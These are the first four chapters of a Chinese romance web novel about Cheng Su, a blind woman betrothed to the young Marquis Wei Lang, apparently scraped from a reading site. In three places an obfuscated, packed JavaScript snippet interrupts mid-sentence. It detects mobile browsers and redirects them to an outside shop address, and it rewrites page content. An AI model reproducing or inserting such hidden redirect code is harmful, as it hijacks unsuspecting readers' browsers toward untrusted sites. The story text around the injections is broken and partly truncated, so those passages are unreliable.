《明月旧曾谙》 1. 第一章 时序季夏,酷暑沉热。 庭院深深处,却另有清幽之所。 小檀从廊下一路穿行而来,沿途高柳浓荫,草木葳蕤,似要将这一方小院与外面聒噪的蝉鸣隔绝开来。 等她端着水盆进屋时,榻上的人已睡醒了,对方循声望来,语声柔和:“可是已到了未时?怎么不早些叫醒我。” 小檀笑道:“刚打来水,没想到您已经醒了。一会儿给您重新梳个新发式,奴婢昨日才跟白芷姐姐学的。” 于程素而言,梳什么发髻早已不那么重要,但她也没有拂了小檀的兴致。 她慢慢地起身下榻,不用人来扶,自己凭着记忆到妆镜台前坐下。 小檀一边服侍她梳洗,一边望向镜中人的面庞。午后的日光透过薄薄的竹窗纸,照入室内,昏黄铜镜中那张秀美的面孔越发莹润生晕,琉璃黑的眼眸湛若秋水,没有半丝浑浊阴翳。 任谁都无法想象,这样的美人居然目不能视。 此事还要从五年前说起。 先帝晚年性喜猜忌,因忌惮诸皇子,在朝中屡兴冤狱,牵连甚广。 程素的父亲本是刑部官员,因上疏谏言,先被革职下狱,后被流放岭南。 流放途中,程家一家人路遇盗匪。虽侥幸保全了性命,可夫人云氏却受了惊吓,自此落下了病根;而程素也不幸受伤,醒来之后双目再也不能视物。 岭南之地,烟瘴横行。程大人到了那边水土不服,再加上沉疴郁结,苦撑三载之后撒手人寰。 数月后,先帝薨逝。 新君即位,大赦天下,程家的冤屈总算得以昭雪。 程素和母亲终于遇赦还京,可程家早已家破人亡,只有母女二人相依为命。 当年被流放前,夫人云氏提前遣散了家中奴仆,唯独小檀无处可去。她的父兄早年被贪官污吏所害,若非有程大人帮忙洗清冤屈,她早已流落街头了。 程家落难,她也无处可去,一度自告奋勇,想跟程家人前往岭南。 程素怜她年幼,亦知晓流放途中的险恶,只将她托付给程家的旧识照顾,转身便与父母相携上路。 数年后再归来,却落了个双目失明。 想到程家这些年来的遭遇,小檀心中一涩。她替程素梳好发髻,便扶着她慢慢沿着回廊,往湖心亭去了。 眼下她们正寄居在京城的定远侯府上。侯府的老夫人据说曾与她们夫人云氏的娘家有旧。半年前,两家在回京的途中偶然遇见,便结伴同行。 回到京中后,更是常常走动。老夫人常邀夫人和姑娘来府上小住作陪。 自从数日前两家有了结亲的意思后,关系更是又近一层。 想到那桩婚事,小檀难免雀跃。 定远侯府以军功传家,老侯爷和前任定远侯虽已为国捐躯,但余荫犹在,哪怕在满京城的权贵中也算头一等的煊赫。 要能有这桩婚事傍身,夫人和姑娘也算苦尽甘来。 可见上天还是让好人有好报的。 程素并不知晓身前的丫鬟在想什么。 自从双目失明后,她在外的一举一动都离不开人扶持。 起初,她只能像木偶般任人牵引,后来她在心里默记脚下到哪里要拐角,哪里有石阶。同一条路走上几次,她逐渐也能不用人扶,自己一个人慢慢往前走。 只是小檀生怕她磕了碰了,一刻也不敢松手。 主仆二人走走停停,四周逐渐从幽静变得开阔。树影蝉声慢慢被落在身后,迎面扑来的凉爽水风里浮动着荷叶的清香,程素知道应该是到了。 卫老夫人和她母亲云氏正在亭中闲聊,见程素过来,忙让人引她坐下。 近来天气炎热,这些日子每过午后,她们都会来湖上的亭子乘凉赏荷。 程素通常只是陪在一旁,安静地听两位长辈说话。 正如眼下,她听着母亲云氏略有些虚弱道:“……听闻小侯爷这次南下剿匪大胜,几日前就回京了。这般年少有为,想来日后陛下必会委以重任。” 她口中的小侯爷名叫卫琅。 程家尚未被流放前,程素也曾听说过这位小侯爷的大名。 卫家满门忠烈,上一辈几乎都英年早逝,以至于子嗣不兴。 长房只留下了卫琅这根独苗,老夫人宠溺,家世显赫,无人约束,小侯爷自然也不负众望地长成了个纨绔胚子。 然而时殊事异,谁能想到当年斗鸡走狗的纨绔,如今也能率领一方兵马了呢。 卫老夫人笑道:“这算什么,不过带兵抓几个毛贼罢了。他祖父和爹爹在他这个年龄,早已上阵杀敌了。可这个小混账,还是只知胡作非为,回京几日了还不着家,成心想气我这把老骨头呢。” 程素默然。 长辈闲聊,她不好随意插话。只是那位卫小侯爷在外剿匪半年,到了京城却不肯回家,很大程度上可能与她有关。 …… 她所料的其实不错。 与此同时,京郊的一处别苑里。 众人口中早已得胜归来的卫小侯爷卫琅正一脚踩在美人榻上,浑身骨头仿佛懒散得没了支撑,唯有左手支着脑门,对跪在下方的人道:“就这些了?” 木通苦着张脸:“就这些了侯爷,反正就是这样,老夫人跟那位程夫人口头定了婚约,不出意外,那位程姑娘日后便是咱们家的侯夫人了。” 他话音落下,旁边的人终于忍不住了。不知是哪个先笑了头一声,紧接着便是一连串此起彼伏的闷笑。 屋里几个衣着华贵的少年双肩不住抖动,其中一个还甩开一把折扇,假惺惺道:“真是要恭喜咱们侯爷了,才打了胜仗,马上又要抱得美人归。” “虽然这美人可能年长了你几岁,但能打动你家那位老夫人,想必是格外温柔貌美。卫琅,你还在别苑里混什么,赶紧回家成亲去吧。” “就是就是!” 只有一个生得跟卫琅有几分相似的俊秀少年抬手擦汗,讷讷解释:“……几、几位就别、别拿兄长打趣了,婚姻大事向来由长辈作主,莫要取笑……” 少年名叫卫珏,乃是卫琅二房的堂弟,特意来此劝他回府的。 可另外几个人的笑声却越发猖狂。 这伙狐朋狗友常年厮混在一块儿,难得能看到卫琅栽在一个未曾谋面的美人手里,哪里能忍得住不放声嘲笑。 榻上的卫琅慢慢抬起眼,目光如刀般扫了过去。他天生一双带笑的桃花眼,平日说笑时眉目含情,可敛去往日的懒散后,便只余清寒锐利。 被他目光扫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999087|193938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到的众人不知不觉就哑了声。到底是出门剿了半年匪的人,气势上浑然压过了其他纨绔一头。 摇折扇那个清了清嗓子:“说笑归说笑,娶亲到底是大事。你也别跟你家老夫人怄气了,她老人家糊涂,你还是早点回去把这桩婚事搅黄了。就算咱们的婚事自己做不了主,也得娶个门当户对的,总不能稀里糊涂娶那么个人家。” 说到最后,话里难免带了点轻视。 他们虽是纨绔,可到底出身不凡,娶的不是皇亲国戚,至少也该是门当户对的贵女。可卫琅那位还未谋面的未婚妻,听说只是一个罪臣之女,就算她父亲在世时,也不过个给事中。 那对母女刚回京就能攀上定远侯府的门第,可想而知是怎样的心计手段。 孰料卫琅听了这话非但不识好人心,反倒冷哼一声:“齐文羽,我家老太太如何行事,要你来指教,她老人家运筹帷幄的时候,你爹还不知道在哪玩泥巴呢。” 卫琅的父母早亡,是被祖母卫老夫人一手带大的。虽说老夫人这次做的事不地道,可听狐朋狗友说他家老太太脑子不灵光,他还是很不乐意听。 开玩笑,他娶不娶是一回事,可在外人面前,祖母的面子必然是要维护的。 齐文羽没想到还被他反咬一口,险些没气笑了:“行行行,好你个卫琅,既然你这般怜香惜玉,改日我们就给你备上厚礼登门道贺,恭祝你大婚。” 卫琅起身伸了个懒腰,等舒展开来,眉眼间尽是少年人的桀骜意气:“你们的厚礼自然是要早早备好的,不过本侯爷要娶什么人,就算是我家老夫人也说了不算。等我回府一趟再说。” 他说罢,便扬长而去。 身后的卫珏和木通赶紧跟上。 …… 说归那样说,一出了门,卫琅的脸色还是沉了下来。 诚如程素所猜的那般,他这次有家不回,正是因为当日他还没回府,就听说了祖母给他定下婚约的事。 换作别家纨绔,纵然在外胡作非为,可婚姻大事向来由长辈定夺,容不得他们置喙,哪敢撒泼。但卫小侯爷从小被惯到大,平生哪受过这先斩后奏的委屈。 他原本是想在别苑小住几日,等家里给他个解释。 没成想姜还是老的辣,老夫人沉得住气,接连几日也不让人上门来找。要不是弟弟卫珏再三跑来劝说,他堂堂侯爷的脸都要挂不住了。 最后,卫琅还是不得不让手下暗中打听了那程氏女的底细。 据木通所言,那程氏母女是半年前与老太太在回京的途中遇上的。 那程夫人据说久病难愈,日日断不了药;那程氏女更是可怜,年纪轻轻便双目失明了,动辄需要人服侍。老夫人怜惜程家母女的遭遇,常与她们往来。 这一来二去,谁也不知怎地,就把自家孙子都给搭了进去做人情。 卫琅听完了来龙去脉,仍百思不得其解。他家老太太向来杀伐果断,纵然上了年纪后学人家吃斋念佛,可也不走乡下媒婆保媒搭纤的路子。 这定婚的事甚至都没知会他一声,居然就传得满城风雨。 这其中必然有古怪。 他倒要回去亲眼看看,那程氏女到底是何方披了画皮的山精鬼怪,竟能把他们家睿智刁钻的老太太都给哄了去。 2. 第二章 女眷们尚不知卫琅已在归来的途中。 午后湖风拂面,四周静谧,除却长辈们的絮语,唯有阑干下的汩汩水流声。 程素只听母亲云氏轻声道:“……小侯爷有家不回,怕不是听说了什么。若是可以,不如早日请小侯爷回来,好与他当面解释,莫要因此生了误会。” 云氏如今年约四旬,面上犹带憔悴,却依稀可见年轻时的风韵。她初春又生过一场病,如今虽已痊愈,可由于身子骨早已不比从前,脸上病容难消。 也正是自忖时日无多,她有意替女儿程素订下终身大事。故而在卫老夫人提出结亲时,她犹豫再三,还是答应了。 女儿双目失明,日后注定离不开人服侍,与其嫁给不知底细的人家,德高望重的卫老夫人无疑是个合适的托付对象。 然而婚约一事,她们两个长辈虽然有心,但还顾及小辈们的意愿,到底没把话说死。只等小侯爷剿匪回来后,双方再慢慢相看。若是卫琅能接受,自然皆大欢喜,两家结同姓之好;若是实在不能,也免得双方凑成一对怨侣。 可卫琅这番态度,显然不会任人摆布。与其僵持下去闹得难看,还不如早早把事说散,还能维持彼此的体面。 卫老夫人闻言也叹:“那小兔崽子被老身惯坏了,他是老身一手带大的,对他的脾性再清楚不过。我自会给你们一个交待,你们且放心。” 她老人家如此说,云氏倒也不好再提,毕竟这婚事怎么看都算程家高攀。 若非是卫老夫人当日主动求娶,她怎么也不敢厚颜至此。既然老夫人认定了能安抚住卫琅,她们也只能等着。 程素坐在她身旁,一如既往地安静。她向来内敛少言,哪怕听长辈们谈及她的婚事,也无寻常女儿家的羞赧激动。 家里出事时,她刚过及笄。 五年来的颠沛流离,让她早已过了少女怀春的心性。她比任何人都清楚母亲的苦心,亦明白这桩婚事的实质。她没有别的念头,只是遵从长辈们的心意罢了。 众人既已提及卫琅,话题难免转移到他身上。 卫老夫人与过世的老侯爷鹣鲽情深,膝下一共育有四子。老侯爷早逝,前些年北方突厥作乱,其余三子先后战死沙场,只有一个二儿子还在镇守边陲。 府里人丁单薄,她每一个孩子都心疼,可最偏爱的还是卫琅这个一手带大的长孙。而卫琅虽然在外胡作非为,但侍奉祖母孝顺,祖孙二人感情极深。 说到这,老夫人不禁念叨:“往日还在府里时,那小混账吃穿用度什么不要最好的。被陛下派出去在外吃了大半年的苦头,也不知道人瘦了没?” 话音刚落,众人忽然听到少年清朗又戏谑的嗓音:“您还记着我在外面吃苦呢,我还以为府里已经没人记得我了,都回京几天了,也没人来找。” 亭中众人俱是一惊。 转眼之间,身着黑色窄袖劲装的少年已大步流星地走至祖母跟前,利落地向行过礼后,气定神闲地站直任人打量。 他年纪小,人又生得好,眉目英挺,举手投足间,自有一股骄矜倜傥的意气。半年时间在外磨砺,更是让其周身的气质得以沉淀下来,如今任谁看了,都要称赞一句芝兰玉树,人如其名。 老夫人喜出望外,却还笑骂道:“哪里来的猴儿,还记得回来?” 卫小侯爷哼了一声,“您不挂念我,我这趟回来也不是看望您的。” 他的语气带着挑衅,目光转向旁边:“我这趟是来看看……” 他刚一踏进府门,就听下人禀报,说那对母女恰好在府里,正在湖边陪老夫人说话呢。不用想也知道,这指不定是又在怎么哄他们家老太太。 他一路匆匆而来,心底早就被这桩莫名其妙的婚事激出了几分火气。 卫琅原本想说,他倒要看看,究竟是哪来的天仙,竟然入了他家老夫人的法眼。不曾想涌到嘴边的挑衅之词,却在目光落到对面那人身上时戛然而止。 亭中除了一位脸生的夫人外,还坐了另外一人。对方虽衣着朴素,却肌骨如玉,乌发轻绾,气度格外沉静。 阑干外垂柳拂水,遍目溶溶青绿,也难掩其眉间春山般的淡远。 忽而一阵湖风吹来,吹得池面上的滟光散作万千金点,亭中光影摇动。端坐着的人却浑然不觉,目若春波,正一瞬也不错开地凝视着他的方向。 只这一眼就将卫琅钉在了原地,脚下生了根般动弹不得。他的心跳却犹如擂鼓,耳畔仿佛烈日下蝉声放声齐鸣,将他震得头晕目眩、口干舌燥。 他晕乎乎地开始回想,之前木通说她叫什么名字来着。 另一边的程素早在卫琅出声时,便下意识望向声音传来的方向。可惜她看不见,也无从瞧见这刚才还骄矜自持的小侯爷正呆呆地望着她一动也不动。 整个亭子以陷入了诡异的安静。 她察觉到气氛不对,却不知到底发生了什么,其他人大气也不敢喘一下,没人敢提醒失态的卫琅,云氏更是面上平静,让人看不出在想什么。 唯有卫老夫人坏心眼地追问一句:“你到底是过来看什么的?” 卫琅鬼使神差答道:“我当然是来看看我未过门的娘子的。” 话刚说罢,他猛然清醒,心知要糟。 云氏已经果断携着女儿的手,起身微笑道:“在府上叨扰了几日,我们也应当早早回去了。老夫人还请留步,容我们改日再来登门拜访。” 卫琅也自知失言在先,再说什么都是唐突了,只能眼睁睁望着对方离去。 直至身后的老夫人一副好整以暇的模样揶揄道:“怎么,看人家是个美人,便忘了是来找我这老婆子兴师问罪的?” 他总算回过神来,清了清嗓子,凑上前:“咳咳咳,您这是说的什么话。我都半年没回府了,想您还来不及,您也不知道心疼一下您的孙儿。” 卫老夫人一边让丫鬟搀扶起身,一边拍掉卫琅作势来扶的手,哼了一声:“我是心疼你,本想着早早给你定个好媳妇。哪知你看不上,一回来就想找人家麻烦。罢了,儿孙自有儿孙福,我这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999088|193938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把老骨头,还是不操那份闲心了。” 卫琅赶紧一路跟在她身旁,小声讨好:“老夫人,我向来最听您的话了,您说什么就是什么,我这不是还什么都不知情嘛。您先跟我说说是怎么一回事……” 祖孙二人一前一后地走着,正好被满头大汗追赶而来的堂弟卫珏和木通撞见。 两人面面相觑,一时拿不准刚刚到底发生了什么。从以往的经验来看,尊贵的卫小侯爷突然肯做小伏低了,不是在外捅了娄子,就是在憋什么坏水儿呢。 看他那副比平日还殷勤的模样,小少年卫珏忧心不已。该不会就这一会儿的功夫,兄长就已经把程家姐姐得罪了,还在算计着怎么报复回去吧。 不行,他可万万不能让长兄害了人家,卫珏赶紧拉着木通又追了过去。 …… 从定远侯府出来后,程素她们一路回了旧宅。 程家旧宅位于城西的青槐巷,母女二人刚回京时,庭院早已荒芜破败,荆榛丛生。好在经过一番打理,如今总算又恢复了几分以往的景象。 可到底五年过去,物是人非,父亲没能等到大赦还乡的那天,而如今的程素也双目失明,唯一能让她稍感安慰的,是母亲尚还陪在她身旁。 母女二人屋内对坐,有一搭没一搭地说着话。 云氏轻咳几声:“刚刚那小侯爷着实出言不逊,让你受委屈了。” 程素摇头:“不要紧的。” 卫琅那一句脱口而出的轻浮话,倒还不至于让她失态。当时她们顺势离开,只不过是为了把地方留给卫家祖孙二人,免得留在那徒增尴尬。 云氏便不作声了。 她本也是内敛寡言的性子,自从久病难愈后,她的话便越来越少,面色也日复一日地苍白,唯有一双温柔忧愁的眼始终落在女儿程素身上。 静了半晌,她想了想又道:“那位卫小侯爷性情尚不好说,不过今日一见,样貌倒还是出挑,与我女儿倒还相配。倘若你还能看见,想必也会喜欢。” 程素哭笑不得:“娘。” 云氏这才不再提卫琅的事了,她让丫鬟拿来账簿,与女儿一起对帐。 当年程家被抄,家产尽数罚没充公,好在她们匆忙间一些首饰埋在后院,直至两年前才取出重新打理。 再加上这两年来,她们做了一些买卖营生,虽称不上什么豪富,但至少不至于让母女二人为衣食所忧。 只是云氏常年有病在身,打理生意也是有心无力。 好在程素自双目失明后,练就了心算的本事。账本上的数字,她只要听过一遍,很快便能在心里,把旁人要噼啪拨半天算盘的账目理得清清楚楚。 云氏平日全赖女儿帮忙,才不至于过分劳心伤神。一时之间,屋内只有她们翻动账册声和低语声。 直至听见母亲的声音带上了几分疲惫,程素才劝她好生休息。她正要离去,忽而听到榻上的云氏轻叹一声。 她问:“素素,你可曾怨过我不顾门第,替你应下了卫家这桩婚事?” 3. 第三章 程卫两家结缘于半年前。 当时卫琅第一次被派出去带兵剿匪,虽知他身边有护卫跟随,不会出什么大差错,不过卫老夫人还是放心不下,夜里辗转难寐。一日,她忽然梦到已逝的老侯爷,便动了回趟江州老宅的念头。 老夫人虽然精神矍铄,但毕竟年事已高,在回京的途中病了一场,宿在沿途的驿馆休养,因此与程家母女偶遇。 她观这对母女容止温雅,非同常人,交谈后方才得知,卫老夫人的娘家与程夫人云氏祖上乃是同一脉所出。 虽是远亲,但客途中难得遇到言谈投契的人,双方都倍感亲切,便常常往来走动,回京后也不曾断过。 一次闲谈中,云氏偶然提起女儿程素,担忧日后她不在人世,爱女无人照看,不知该托付何人。 说者无意,听者有心。 卫老夫人早在暗中观察了程素许久,只觉这女孩性情柔顺坚韧,容貌生得又美,可惜她双目失明,致使明珠蒙尘。 再想起自家还有个令她头痛的宝贝孙子卫琅,如今已半大不小的年龄了,还没说上一门称心的亲事,便当场摘下了手腕上的家传玉镯,替他求娶。 初时,程夫人以为卫家要纳程素为妾,当即婉拒了。后听老夫人的意思,竟是要正经求娶,令她不得不重视起来。 几番劝说后,她终是点了头。 两家私下里交换了信物,只等卫琅归来后再作下一步打算。 老夫人长叹一声:“仔细想来,此事是我老糊涂了。只看素素是个好孩子,身世又那样可怜,便想让人家做我的长孙媳妇。奈何有人看不上,只能等改日我再约她们到府上来,告诉她们,那镯子只当是老身认她作干孙女的见面礼!” 卫琅脱口而出:“不可!” 老夫人佯作怒容:“这也不行,那也不行,你既不愿娶,怎地连我认个干孙女都不让。你也要学外面有些眼皮子浅的人,瞧不起人家的出身吗?” 卫琅哪里看不出老太太成心逗他,讪笑道:“孙儿不敢,只是您都已经定下了,再突然变卦,未免折辱人家。只是这事未免仓促,还需从长计议。” 老夫人睨他一眼:“那要怎么才算不仓促?” 卫琅正色道:“您也不想想,咱们是什么样的人家,您又这般威风凛凛、说一不二。那程夫人对您这样的长辈肯定敬畏有加,哪敢推辞。不过依我看来,人家是否真心愿意还另说,毕竟今天才算我头一回见着素素的面……” 这婚约还没定成,只打了个照面,就连人家的名字都叫上了。 老夫人破天荒地看长孙,仿佛在看什么稀奇物一样,最后失笑摇头:“罢了罢了,你自己看着办,成或不成,早日回话,别耽误了人家。” 卫琅痛快地应下,转身告退。 一打开门,就见堂弟卫珏和随从木通正在院子里等着。 两人竖着耳朵在外听了半天,既没听见卫琅闹,也没听见老夫人骂,一时拿不准这祖孙两人谈得如何。只见卫琅春风满面出来,料想这婚事大约是不成了。 正在想着,就见卫琅招手让他俩过来。两人赶紧凑上去,就听他的语气仿佛在梦里一般,喜滋滋地问:“我今日一时失言,唐突了程姑娘。你们说,我明日是不是该亲自备礼登门道歉。” 卫珏、木通:“……” 糟了,他果然是要去找麻烦的吧。 卫珏满脸紧张:“这这这事未免太过……仓促,改、改日也不迟。” 他自幼便有一着急就口吃的毛病,憋了半天才挤出这么一句。 出乎意料的是,兄长这次居然听进了他的话,捂着脸长叹一声,难得有点愁眉不展的样子:“也是,都怪刚刚老夫人使坏,我一时没管住嘴。这会儿再上门,不被人家打出门都算好的。还是先备点厚礼,等她们气消了再说。” 卫珏刚松口了气,就听卫琅又大手一挥道:“木通,先备马车,跟本侯爷出去买礼物。今晚先把一切备好!” ……得,这口气松得还是早了。 …… 程家旧宅。 事实上,早在答应卫老夫人的前一晚,母女间就曾有过一场对话。 云氏让丫鬟们退下,只单独留了程素,委婉转达了卫老夫人的意思。 “……若你不愿,我自会回绝卫老夫人。她老人家也说过,会认你作干孙女,日后我死了,你可留在卫家陪她。可一旦老夫人百年,你一个未嫁女在卫家,只会徒增尴尬,母亲还希望你能仔细考虑。” 云氏并不避讳谈及死亡。 她比大夫还要清楚自己的虚弱,想方设法要为女儿备好后路。 程家遭逢大难后,她想得很明白,但凡能让女儿后半生衣食无忧,她自然不会为了一己清高,放弃一桩好婚事。 在她心里,女儿本就配得上这世上最好的儿郎。何况有卫老夫人这样事事替她们考虑周全的长辈,更不愿错过良机。 而程素只是沉默。 家里出事前,她曾经有过一门婚约。少女时,也曾托腮幻想过日后嫁人生子、举案齐眉的那一日。 可一切都在父亲下狱的那日戛然而止了。此后,她再没想过嫁人的事,如今骤然重提,她一时很难谈情愿与否。 见她迟疑,云氏想了想问:“你自幼承蒙你父亲教导,聪敏过人。若你双目还未失明,或可凭自己的聪明才智自立门户,但如今许多事,你只得假手他人。我有几个问题,你如实答我。” 程素应下。 云氏问:“你父亲早逝,又无其他亲人护佑,偏又生了副好容貌。若日后有权贵相逼,你可有把握护得自己周全。” 程素沉默。 云氏问:“你双目失明,又无亲族庇护,一切只能倚靠外人,你是否相信自己的识人之能,日后不受奴仆蒙蔽,使自己落入险境。” 程素依然沉默。 云氏问:“将来我死之后,每逢佳节良辰,你身旁无人陪伴,你是否甘于冷清,哪怕形单影只、无人陪伴。” 程素道:“……我不能。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999089|193938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 云氏道:“好,那这门婚事,我替你应下了。” 于是,便有了程家与卫老夫人的口头婚约。 卫家虽是武将出身,却难得门风清正,侯夫人的位置如此贵重,卫老夫人却不以门第取人,独独相中了程素。单凭这一份另眼相看,她便不能不识抬举。 至于以后的日子如何,总要一步步去争取。 程素回过神来,发现自己已站在了母亲房门外。回廊另一头传来脚步声,随之是另一个丫鬟白芷的声音:“姑娘,那韩元清又来了,您看咱们该如何是好?” 她道:“母亲刚刚喝了药躺下,这点小事不要惊动了她。” 白芷应下,又问:“那……咱们让护卫把他赶走?” 语气之中难掩忿然和厌恶。 程素的声音听不出喜怒:“他有官身,我们如今只是平头百姓,不让他登门便是,拿什么来赶人。罢了,既然他一再纠缠,我便亲自与他说清楚。” 她们口中的韩元清正是程素的前未婚夫。二人青梅竹马,自幼便有婚约。 然而就在两人婚期将近时,韩元清却与乐安县主传出了首尾。 恰巧又赶上程家出事,为避免祸及自身,那桩亲事自然是不成了。 若事情只发展到这里,严家人的行径固然令人不齿,可世态炎凉,也只能说趋利避害、人之常情。 但韩元清却在听说程家将被流放后,找到程父,表示愿纳程素为妾,好庇护她周全,免得她受流放之苦。 落井下石、趁火打劫也不外如是。 程家上下都恨透了这人。 自从听说程素她们回京,这人不知出于什么目的三番两次找来,恰巧赶上程素跟母亲去了侯府做客,这才免得相见。 今日他不知又听到什么信儿,她们才回府不久,他竟然就跑来了。 白芷从前便是程素的贴身丫鬟,后来程家母女还京,她又寻了过来,对这些旧事一清二楚,心中自然不忿。 等程素来到门口时,韩元清还与门口的护卫纠缠。自从听到盯梢的小厮报信说程素母女已经回府,他便匆忙从官署赶来,身边只带了一个随从。 可程家请来的护卫俱是护镖走商的好手,个个膀大腰圆,应付一个手无缚鸡之力的士人绰绰有余。若不是顾忌他的身份,早把他一根麻绳捆起来送衙门了。 韩元清正在与程家的门房分辩,突然瞥见门口出现绰约人影。 那正是五年未见的故人。 他不由得喜出望外:“素素?” 话音未落,只见立在程素身畔的丫鬟手持一大盆脏水哗地迎面泼来。 韩元清下意识往后倒退,那脏水虽未淋他一头,可还是溅到了衣裳下摆,里面甚至还有沤臭的烂菜叶子。 他抬头仰视着立在阶上的玉人,眼神又惊又痛:“素素,你……还是恨我。” 远处刚买了一车礼物,“正巧”溜达到程家附近的卫小侯爷闻言大怒。 这光天化日的,哪来的狗在叫? 4. 第四章 卫琅素来是个想一出是一出的性子。他带着人马在京城逛了一下午,直至日色将暮,才故作不经意地问起了程家所在。 木通不知道这祖宗又想做什么,可又架不住他逼问,只能心惊胆战地把人一路带到了青槐巷附近。一行三人来到巷口,把马拴在路边的树上。 青槐巷不大,里面只住着几户人家。 正是日暮时分,天色昏黄,各家门扉已闭,巷内空旷无人。道边种着一株合抱粗的老槐树,枝繁叶茂,青翠如盖,在晚风吹拂中发出窸窸窣窣的声响。 卫珏和木通紧盯着卫琅,生怕他们一个没看住,人就冲进程家找茬了。 不曾想卫琅没往程家去,反而看左右无人,抬腿就往大槐树上爬。 一反应过来他想干什么,卫珏只觉一股血冲上了脑门,下意识抱住卫琅的腰不松手:“……长长兄,大周律有、有令,凡偷窥他人宅院者杖二十。老夫人知道,肯定要家、家法处置的!” 可卫琅是谁,他虽纨绔,自小却也习过骑射,再加上混不吝的性子,哪里是听人劝的。他一脚踹开来拦的木通,反手把手无缚鸡之力的卫珏衣领一拎,连拖带拽把对方拉上了树。 可怜卫珏作为一个读书人,自小到大都没攀过高,这会儿往下一看,只觉头晕目眩,手脚发软;往上看,只见卫琅越爬越高,最后一脚踩在摇摇欲坠的树梢顶头,吓得张口灌了一口凉风,喉咙发不出声音,只能抱住树干瑟瑟发抖。 树顶的人笑得没心没肺:“有你作伴,回头挨板子的时候我也不亏了。” 卫小侯爷性子乖戾,偶尔兴致一上来,除了卫老夫人能降得住,身边的人只能由着,不然谁拦谁倒霉。木通见状,只能苦着脸也跟着爬上去。 好在卫珏的担心没有成真,树上的视野虽好,可也不至于看到不该看的。 他们蹲在树上远眺,鸟雀们成群掠过瓦檐,下方的宅院里点上了灯笼,廊下里偶尔有几个面目模糊的丫鬟仆妇走动。 望着暮色掩映下的重重庭院,卫琅急躁了半天的心渐渐沉静下来。 他心道,听老夫人和木通说,她名唤素素。也不知道她这会儿在做什么。今日他们头一回见面,他就一句话把人吓跑了,也不知道她此时有没有消气。 不过再一想,卫小侯爷自忖那句话虽然唐突,却也算不上什么大错。 毕竟他家老太太亲自求的亲,她母亲也应下了,还有信物为凭,素素确实已经是他未过门的媳妇了。 等他明日上门赔礼道歉了,她一定会宽宏大量不与他计较。 再听他知错就改,态度诚恳,素素必然会暗暗心生赞许,对他刮目相看。再假以时日,省略十几个章回,她必然就心甘情愿地点头嫁给他了。 卫小侯爷思绪正在发散中,刚想到他跟程素日后生的第一个女儿取什么名字时,突然听见下面传来的争执声。 只见来的是个青年男子,程家守门的护卫不肯放行,对方便让人通传,语气仿佛笃定了里面的人一定会让他进去。 可等了一会儿也不见人通传,他显然也急躁起来,与护卫争执不休。 卫琅的眉头高高地挑了起来。 他尚不知这程韩两家的恩怨纠葛。不过一个男子赶在天黑时,孤身来拜访人家孤儿寡母,对方的居心可想而知。 那程家的护卫也是榆木脑袋,跟这人废话什么,一通乱打赶出去就是。 可到底是程素的人,他不好开口骂,眉头紧皱:“本侯爷不在京城,五城兵马司的人居然懈怠至此。巡街的人去哪了,怎么还不过来把这来人家门口闹事的刁民抓走,置京城百姓的安危于何地。” 卫珏、木通闻言双双眼含热泪。 这话说得确实不错,自从卫小侯爷先前离京剿匪后,五城兵马司指挥使提心吊胆的日子少了,不用随时绷着弦到处赶场收拾烂摊子,可不是就得松一口气了。 下面却突然有了别的动静。 程家的大门从正中打开,丫鬟护卫们正中簇拥的人,不是程素是谁? 卫琅一时没忍住,往前探了探身子。 他就算不清楚前因后果,也明白那人只怕跟程素交情匪浅,再听对方一口一个素素唤得亲近,心中更是警铃大作,当即想跳下树把碍事的人赶走。 可还没来得及往下跳,就被旁边的木通死死压住。卫珏一时也忘了恐高,压低声音喊:“长长长长兄,万万不可!” 卫琅正是心急的时候,哪里能听得进劝,眼看抬腿就要把木通蹬下去,却听他飞快道:“侯爷,程姑娘人也在场,万一被她身边人发现您是从树上跳下来的,您的一世英名可就彻底毁了。” 卫小侯爷顿时清醒了。 三个人做贼一样从大槐树上下来,贴着墙根溜去巷口骑马。他们就离开这一会儿的功夫,韩元清忍不住又上前一步,痴痴望着不远处纤细窈窕的身影。 一别经年,程素还是他记忆里的模样。她站在夕阳昏黄的阴影里,肌骨莹润,温柔娴静,过去几年的流放生涯仿佛从未在她的身上留下痕迹。 韩元清心中苦涩:“……素素,我知你心里恨我。这些年我一直有往岭南写信,连我派人送去的银子,都原封不动地退了回来。我不敢奢求你原谅,只是你们好不容易回京,就算看在往日的情份上,我只愿有什么能帮得上你们……” 他和程素青梅竹马,两小无猜。 纵然当年没能做成夫妻,也忘不了昔年情意。只可惜一步错步步错。 当日他被迫娶了乐安,程韩两家也就此断交。这些年,他一直挂怀着程素的下落,寄出的信却犹如石沉大海。 好不容易再听到故人回京的消息,他只想抓住机会,弥补当年的亏欠。 